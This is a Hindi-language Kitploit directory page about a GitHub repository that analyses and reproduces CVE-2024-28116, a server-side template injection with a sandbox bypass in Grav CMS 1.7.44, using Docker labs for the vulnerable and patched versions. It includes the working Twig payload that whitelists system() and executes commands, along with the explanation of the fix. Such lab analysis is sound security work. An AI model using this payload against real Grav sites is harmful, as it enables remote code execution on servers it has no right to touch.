Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
grav-cve-2024-28116 — CVE-2024-28116 का विश्लेषण और Docker पुनरुत्पादन - Grav CMS में सैंडबॉक्स बाईपास के साथ SSTI | Kitploit
उपकरण/GitHubGitHub/bebarossi/grav-cve-2024-28116
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणवेब सुरक्षालर्निंग और शिक्षालैब और अभ्यास
GitHubbebarossi/grav-cve-2024-28116

grav-cve-2024-28116

CVE-2024-28116 का विश्लेषण और Docker पुनरुत्पादन - Grav CMS में सैंडबॉक्स बाईपास के साथ SSTI

रिपॉजिटरी देखें
821 दिन पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2024-28116 — Grav CMS में सैंडबॉक्स बाईपास के साथ SSTI

Grav CMS संस्करण 1.7.44 तक (समावेशी) मौजूद Server-Side Template Injection (सर्वर-साइड टेम्पलेट इंजेक्शन) भेद्यता, जिसमें सुरक्षा सैंडबॉक्स बाईपास शामिल है, और जिसे संस्करण 1.7.45 में ठीक किया गया, का विश्लेषण और Docker प्रजनन (reproduction)।

रिपोर्टकर्ता: Maurizio Siddu (akabe1)
CVSS v3.1 स्कोर: 8.8 (उच्च)
पैच संस्करण: Grav CMS 1.7.45


रिपॉजिटरी संरचना

  • vulnerable
    • Dockerfile # Grav CMS 1.7.44 (असुरक्षित)
    • apache.conf # Apache कॉन्फ़िगरेशन
  • patched
    • Dockerfile # Grav CMS 1.7.45 (पैच किया गया)
    • apache.conf # Apache कॉन्फ़िगरेशन
  • CVE-2024-28116_Report.pdf

आवश्यकताएँ

  • macOS पर Docker Desktop स्थापित और चालू होना चाहिए
  • कोई अन्य निर्भरता आवश्यक नहीं है — सब कुछ कंटेनर के अंदर स्थापित है

असुरक्षित वातावरण कैसे चलाएँ (Grav 1.7.44)

root@kitploit:~
cd vulnerable
docker build -t grav-vulnerable .
docker run -d -p 8080:80 --name grav-test grav-vulnerable

अपने ब्राउज़र में खोलें और पहली बार एक्सेस करने पर एक व्यवस्थापक खाता बनाएँ।

http://localhost:8080/admin

एक्सप्लॉइट को कैसे दोहराएँ

  1. एडमिन पैनल में, केवल संपादक अनुमतियों वाला दूसरा उपयोगकर्ता खाता बनाएँ (साइट में लॉगिन, एडमिन में लॉगिन, और पेज को अनुमत पर सेट करें — बाकी सब कुछ सेट नहीं रखें)
  2. एक निजी ब्राउज़र विंडो खोलें और http://localhost:8080/admin पर संपादक के रूप में लॉगिन करें
  3. पेज → पेज जोड़ें पर जाएँ, शीर्षक test page सेट करें, जारी रखें पर क्लिक करें
  4. उन्नत टैब में, प्रोसेस के अंतर्गत Markdown और Twig दोनों को चेक करके Twig प्रोसेसिंग सक्षम करें
  5. सामग्री टैब में, निम्नलिखित पेलोड पेस्ट करें:
root@kitploit:~
{% set arr = {'1':'system', '2':'foo'} %}
{{ var_dump(grav.twig.twig_vars['config'].set('system.twig.safe_functions', arr)) }}
{{ system('id') }}
  1. सहेजें पर क्लिक करें
  2. एक सामान्य ब्राउज़र टैब खोलें और http://localhost:8080/test-page पर जाएँ
  3. सर्वर पूर्ण Grav कॉन्फ़िगरेशन ऑब्जेक्ट को डंप करेगा और सबसे नीचे दिखाएगा: uid=33(www-data) gid=33(www-data) groups=33(www-data)

यह वेब सर्वर उपयोगकर्ता के रूप में रिमोट कोड निष्पादन की पुष्टि करता है।


पैच किए गए वातावरण को कैसे चलाएँ (Grav 1.7.45)

root@kitploit:~
docker stop grav-test
cd ../patched
docker build -t grav-patched .
docker run -d -p 8081:80 --name grav-patched grav-patched

अपने ब्राउज़र में http://localhost:8081/admin खोलें और http://localhost:8081/test-page पर लक्ष्य करते हुए ऊपर दिए गए सभी एक्सप्लॉइट चरणों को दोहराएँ।

पेज पूरी तरह खाली होगा। Security.php में cleanDangerousTwig() विधि twig.safe_functions निर्देश को Twig इंजन तक पहुँचने से पहले पहचानकर ब्लॉक कर देती है। व्हाइटलिस्ट कभी संशोधित नहीं होती और कमांड कभी निष्पादित नहीं होती।


भेद्यता कैसे काम करती है

भेद्यता system/src/Grav/Common/Twig.php में स्थित है। Grav isDangerousFunction() द्वारा जाँची गई ब्लैकलिस्ट के आधार पर, Twig टेम्पलेट्स के अंदर खतरनाक PHP फ़ंक्शन कॉल किए जाने से रोकने के लिए एक सैंडबॉक्स लागू करता है। हालाँकि, सैंडबॉक्स स्वयं Twig ऑब्जेक्ट की सुरक्षा नहीं करता। संपादक-स्तर का उपयोगकर्ता क्राफ्ट किए गए टेम्पलेट निर्देशों के माध्यम से Twig ऑब्जेक्ट के साथ बातचीत कर सकता है और रनटाइम पर system.twig.safe_functions व्हाइटलिस्ट को अधिलेखित कर सकता है। एक बार system() जैसा खतरनाक फ़ंक्शन व्हाइटलिस्ट में जुड़ जाता है, तो सैंडबॉक्स जाँच बाईपास हो जाती है और फ़ंक्शन स्वतंत्र रूप से निष्पादित होता है।


समाधान

पैच system/src/Grav/Common/Security.php में cleanDangerousTwig() विधि के अंदर अवरुद्ध पैटर्न की सूची में 'twig.safe_functions' जोड़ता है। इस स्ट्रिंग वाला कोई भी निर्देश Twig इंजन तक पहुँचने से पहले निष्प्रभावी कर दिया जाता है, जिससे किसी संपादक के लिए टेम्पलेट के भीतर से व्हाइटलिस्ट को संशोधित करना असंभव हो जाता है।

टूल डाउनलोड करें